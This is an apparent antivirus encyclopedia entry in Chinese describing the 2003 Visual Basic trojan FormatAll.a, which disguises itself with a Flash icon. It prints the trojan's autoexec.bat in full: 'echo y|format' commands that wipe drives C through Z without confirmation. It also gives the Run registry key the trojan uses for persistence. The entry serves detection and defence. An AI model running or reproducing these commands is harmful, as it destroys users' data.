Win32.Troj.FormatAll.a.28672

病毒别名：Trojan.Win32.FormatAll.a [AVP]

处理时间：2003-11-10

威胁级别：★

中文名称：

病毒类型：木马

影响系统：Win9x/WinNT/Win2K/WinXP/Windows Server 2003

病毒行为:

编写工具：

Visual Basic 6.0

传染条件:

文件图标为 flash 可执行文件图标，借此引诱用户执行。

发作条件:

系统修改:

A、将自己拷贝到 %System%flash.exe

B、在系统根目录下生成 autoexec.bat 文件，其中内容如下：

@echo off

@echo y|format c:/v:lb/q

@cls

@echo y|format d:/v:LB/q

@cls

@echo y|format e:/v:LB/q

@cls

………………

@echo y|format z:/v:LB/q

@cls

C、在注册表的主键:

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

中添加如下键值:

"flash" = "%System%flash.exe"

发作现象:

运行后立即重启，当系统再次启动时执行 autoexec.bat，格式化所有分区，并且格式化前不需要按键确认，导致无法进入系统。

如果 autoexec.bat 由于某些原因没有被正常执行，将进入 windows，然后会再次执行被拷贝到 %system% 目录下的 flash.exe 文件，导致系统再次重启。

特别说明: